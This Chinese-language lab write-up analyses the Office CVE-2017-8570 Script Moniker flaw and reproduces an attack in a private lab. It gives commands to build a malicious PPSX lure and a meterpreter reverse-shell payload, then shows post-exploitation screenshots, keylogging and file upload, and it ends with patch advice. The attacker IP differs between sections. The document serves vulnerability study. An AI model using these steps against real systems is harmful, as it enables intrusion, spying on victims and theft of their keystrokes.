詳細(xì)復(fù)現(xiàn)流程,請直接看文章的滲透流程復(fù)現(xiàn)與EXP分析模塊
引言
課題背景
Office作為當(dāng)前市場占有率最高的辦公軟件,卻常常被爆高危漏洞,其中編號為CVE-2017-8570的遠(yuǎn)程代碼執(zhí)行漏洞危害尤其之大。CVE-2017-8570是一個邏輯漏洞,和常規(guī)的內(nèi)存破壞型漏洞不同,這類漏洞無需復(fù)雜的利用手法,直接就可以在office文檔中運行任意的惡意腳本。
CVE-2017-8570漏洞是利用復(fù)合Moniker繞過了CVE-2017-0199的補丁針對Script Moniker和URL Moniker相關(guān)classid的攔截,目前野外暫未發(fā)現(xiàn)攻擊樣本。
本課題的研究方法
① 理解“PPSX Script Moniker”漏洞——文件格式層面
② 了解漏洞成因
③ 學(xué)習(xí)解析Moniker字符串的知識
④ 學(xué)習(xí)Freemarker模板
⑤ 在Ubuntu系統(tǒng)環(huán)境下進(jìn)行復(fù)現(xiàn)
⑥ 使用BurpSuite、Cknife工具對靶場進(jìn)行滲透復(fù)現(xiàn)
漏洞測試影響軟件
Microsoft Office 2007 Service Pack 3
Microsoft Office 2010 Service Pack 2 (32-bit editions)
Microsoft Office 2010 Service Pack 2 (64-bit editions)
Microsoft Office 2013 RT Service Pack 1
Microsoft Office 2013 Service Pack 1 (32-bit editions)
Microsoft Office 2013 Service Pack 1 (64-bit editions)
Microsoft Office 2016 (32-bit edition)
Microsoft Office 2016 (64-bit edition)
漏洞測試環(huán)境
受害者(靶機)
操作系統(tǒng): windows 7 sp1 x86
Office****版本Office 專業(yè)增強版 2016
ip 192.168.89.129
攻擊者
操作系統(tǒng)Kali Linux
ip192.168.89.134
相關(guān)知識和工具簡介
“PPSX Script Moniker”漏洞——文件格式層面
① rId1”是一個被我們的” 魔術(shù)字符串”定義的OLE對象

② “rId1”被定義為一個“l(fā)ink”對象并且與嘗試去執(zhí)行OLE“Verb”動作的動畫特性相關(guān)聯(lián)

③ 解析Moniker字符串
“MkParseDisplayName()”被調(diào)用以將“魔術(shù)字符串”轉(zhuǎn)換成一個Moniker對象
object
0:000> r
……
ole32!MkParseDisplayName:
772ece79 8bff mov edi,edi
0:000> du poi(esp+4*2)
0030ccc4 “script:http://server/test.sct”
事實上,在這里,第一個“:”之前的字符串是重要的
這個過程有效小復(fù)雜,更多細(xì)節(jié)請閱讀:
https://msdn.microsoft.com/en-us/library/windows/desktop/ms691253(v=vs.85).aspx
④ 什么是“script”Moniker

CLSID:06290BD3-48AA-11D2-8432-006008C3FBFC
? 這是給Windows腳本組件所用的moniker
? 如果你意識到了“腳本/小腳本”, “無需文件”的惡意代碼..(@subtree & 其他人的工作)
⑤ 激活Moniker
? 然而,初始化“script” moniker事實上并不會讓你“運行”內(nèi)部的腳本
? 你仍然需要去“綁定”(“激活”)這個對象
一個簡單的實驗可以證明該點
? 用“script:http://server/test.sct”作為參數(shù)調(diào)用MkParseDisplayName()并不會讓你的代碼得到執(zhí)行(只有scrobj.dll這個moniker dll會被加載)
? 但是在初始化對象時調(diào)用BindToObject()會給你帶來一切
? 這樣一個“verb”動作執(zhí)行嘗試通過PowerPoint放映的“動畫”特性去激活相關(guān)聯(lián)的對象
? IMoniker::BindToObject()被調(diào)用
? 不像“RTF URL Moniker”漏洞,被利用的進(jìn)程起始于OLE API OleCreateLink(),而不是OleRun()
⑥ 對根本原因的總結(jié)
? 這個漏洞是由于monikers可以通過一個PowerPoint放映文件來初始化和激活這一事實
? 關(guān)鍵點在這里,在PowerPoint的動畫特性中嘗試去執(zhí)行“verb”動作時激活了對象,這最終調(diào)用了moniker上的“BindToObject()”
? Windows 腳本組件(“script” Moniker)被設(shè)計用來發(fā)現(xiàn)和運行腳本
? 無需來自另外OLE對象的幫助

環(huán)境設(shè)計
Office 2016增強版
考慮到現(xiàn)在大多數(shù)設(shè)備使用Office 2016版本,并且未打補丁,選用此版本更具代表性。

攻擊機Kali Linux
集成眾多滲透軟件,便于使用
滲透流程復(fù)現(xiàn)與EXP分析
使用nmap確定滲透對象
nmap -sP 192.168.89.0/24

使用nmap嘗試遠(yuǎn)程識別靶機操作系統(tǒng)
nmap -O 192.168.89.129

生成惡意 PPSX 文件
python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.1.134/logo.doc

生成惡意的exe文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.134 LPORT=4444 -f exe > /tmp/shell.exe

生成監(jiān)聽模式,監(jiān)聽來自 ppsx 執(zhí)行反彈 shell:(這里會自動啟動 80 端口)
python cve-2017-8570_toolkit.py -M exp -e http://192.168.1.134/shell.exe -l /tmp/shell.exe

生成msf的監(jiān)聽
msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.134; run"

將生成的惡意 Invoice.ppsx 文件復(fù)制到目標(biāo)靶機 win7 系統(tǒng),然后執(zhí)行:

即可在msf反彈metertprter的shell出來:

漏洞修復(fù)
- 不要打開任何來源不明的 Office ppt 文檔
2.及時更新并安裝微軟 2017 年 7 月發(fā)布的最新補丁: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CV E-2017-8570fs
后續(xù)滲透
截圖
meterpreter > screenshot
Screenshot saved to: /root/ccoDxgvg.jpeg

鍵盤記錄
meterpreter > keyscan_start # 開啟鍵盤記錄
Starting the keystroke sniffer...
meterpreter > keyscan_dump #查看鍵盤記錄內(nèi)容
Dumping captured keystrokes...
**
-[ C:\soft\SogouExplorer\SogouExplorer.exe
-[ @ 2017年8月13日 4:07:31 UTC
**
<Shift>xiaojiejie <Shift>chain<^H><^H><^H>inajoy<CR>
meterpreter > keyscan_stop #關(guān)閉鍵盤記錄
上傳文件
meterpreter > upload /root/hacker.txt C:\\Users\\DELL\\Desktop


shell
meterpreter > shell
shell 顧名思義就是shell了,這個命令相當(dāng)于完全控制了windows的cmd命令行,可以執(zhí)行任意cmd操作,當(dāng)然只要權(quán)限足夠大的話。